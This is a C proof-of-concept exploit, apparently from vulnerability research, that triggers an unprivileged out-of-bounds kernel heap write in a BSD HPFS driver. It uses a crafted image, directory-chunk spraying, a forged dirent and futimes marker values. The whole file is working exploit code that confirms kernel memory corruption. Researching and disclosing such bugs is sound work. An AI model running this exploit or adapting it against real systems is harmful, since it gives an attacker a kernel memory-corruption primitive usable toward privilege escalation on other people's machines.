/*
 * DF-3248 — unprivileged OOB heap write through hpfs_genlookupbyname's
 * unvalidated dirent walk, sink at hpfs_updateparent
 * (sys/vfs/hpfs/hpfs_lookup.c:82-97 walk, sys/vfs/hpfs/hpfs_subr.c:699-709 write).
 *
 * Run as the unprivileged mount owner (uid 1001) on a RW mount of the
 * crafted image (root also works: caps pass setattr's priv check).
 *
 * Phases (argv[2]):
 *   precache — stat /mp/QZ (caches root + root2 chunks via XSTEP's DE_DOWN
 *              break-dive), then stat /mp/Dk/QZ for every spray dir k
 *              (caches each spray chunk; "QZ" walk ends gracefully between
 *              "MID" and "XSTEP2" — never hops OOB).
 *   trigger  — open /mp/ZFILE (root walk dives root2, XSTEP2 hops de_reclen
 *              past the 2048-byte chunk -> forged "ZFILE" match in a
 *              NEIGHBORING chunk), futimes() markers, close() ->
 *              hpfs_inactive -> hpfs_updateparent re-walks and WRITES
 *              de_mtime@dep+8, de_size@dep+16, de_atime@dep+24 at the OOB dep.
 *   observe  — stat /mp/Dk/ZFILE for every k: first lookup per Dk walks its
 *              dirblk (namei cache was primed with "QZ", not "ZFILE") and
 *              copies the (possibly corrupted) dirent times out; the victim
 *              chunk reports st_mtim=0x4242... / st_atim=0x4141...
 *
 * usage: poc /mountpoint [all|precache|trigger|observe] [logfile]
 */
#include <sys/stat.h>
#include <sys/time.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MARK_ATIME 0x4141414141414141LL
#define MARK_MTIME 0x4242424242424242LL
#define NSPRAY 24			/* D2 .. D25 */

static int logfd = -1;

static void
plog(const char *fmt, ...)
{
	va_list ap;
	char buf[1024];

	va_start(ap, fmt);
	vsnprintf(buf, sizeof(buf), fmt, ap);
	va_end(ap);
	fputs(buf, stdout);
	fflush(stdout);
	if (logfd >= 0) {
		if (write(logfd, buf, strlen(buf)) < 0) { /* best effort */ }
		else fsync(logfd);
	}
}

int
main(int argc, char **argv)
{
	char path[512];
	struct stat st;
	struct timeval tv[2];
	int fd, i, hit = 0;
	const char *phase = argc > 2 ? argv[2] : "all";

	if (argc < 2) {
		fprintf(stderr, "usage: %s /mountpoint [all|precache|trigger|observe] [logfile]\n",
		    argv[0]);
		return (2);
	}
	if (argc > 3)
		logfd = open(argv[3], O_CREAT|O_WRONLY|O_APPEND, 0644);

	if (!strcmp(phase, "precache") || !strcmp(phase, "all")) {
		snprintf(path, sizeof(path), "%s/QZ", argv[1]);
		plog("precache_root_QZ_start\n");
		if (stat(path, &st) != 0)
			plog("precache_root_QZ_enoent_ok_errno_%d\n", errno);
		for (i = 0; i < NSPRAY; i++) {
			snprintf(path, sizeof(path), "%s/D%d/QZ", argv[1], i + 2);
			if (stat(path, &st) != 0)
				plog("precache_D%d_QZ_enoent_ok\n", i + 2);
			else
				plog("precache_D%d_QZ_UNEXPECTED_OK\n", i + 2);
		}
		plog("precache_done\n");
	}
	if (!strcmp(phase, "trigger") || !strcmp(phase, "all")) {
		plog("open_ZFILE_start\n");
		snprintf(path, sizeof(path), "%s/ZFILE", argv[1]);
		fd = open(path, O_RDONLY);
		if (fd < 0) {
			plog("open_ZFILE_FAILED_errno_%d\n", errno);
			return (2);
		}
		plog("open_ZFILE_ok_(OOB_dirent_matched)\n");
		tv[0].tv_sec = (time_t)MARK_ATIME;
		tv[0].tv_usec = 0;
		tv[1].tv_sec = (time_t)MARK_MTIME;
		tv[1].tv_usec = 0;
		plog("futimes_start\n");
		if (futimes(fd, tv) != 0) {
			plog("futimes_FAILED_errno_%d\n", errno);
			return (3);
		}
		plog("futimes_ok\n");
		plog("close_start\n");
		close(fd);
		plog("close_ok_updateparent_fired\n");
	}
	if (!strcmp(phase, "observe") || !strcmp(phase, "all")) {
		for (i = 0; i < NSPRAY; i++) {
			long long a, m;
			snprintf(path, sizeof(path), "%s/D%d/ZFILE", argv[1], i + 2);
			if (stat(path, &st) != 0) {
				plog("observe_D%d_ZFILE_errno_%d\n", i + 2, errno);
				continue;
			}
			a = (long long)st.st_atim.tv_sec;
			m = (long long)st.st_mtim.tv_sec;
			plog("observe_D%d_ZFILE_atime_0x%llx_mtime_0x%llx%s\n",
			    i + 2, a, m,
			    (a == MARK_ATIME && m == MARK_MTIME)
			    ? "_<<<_OOB_WRITE_MARKERS" : "");
			if (a == MARK_ATIME && m == MARK_MTIME)
				hit = 1;
		}
		plog(hit ? "RESULT=OOB_WRITE_CONFIRMED\n" : "RESULT=NO_MARKER\n");
	}
	if (logfd >= 0)
		close(logfd);
	return (hit ? 0 : (!strcmp(phase, "observe") || !strcmp(phase, "all")) ? 1 : 0);
}
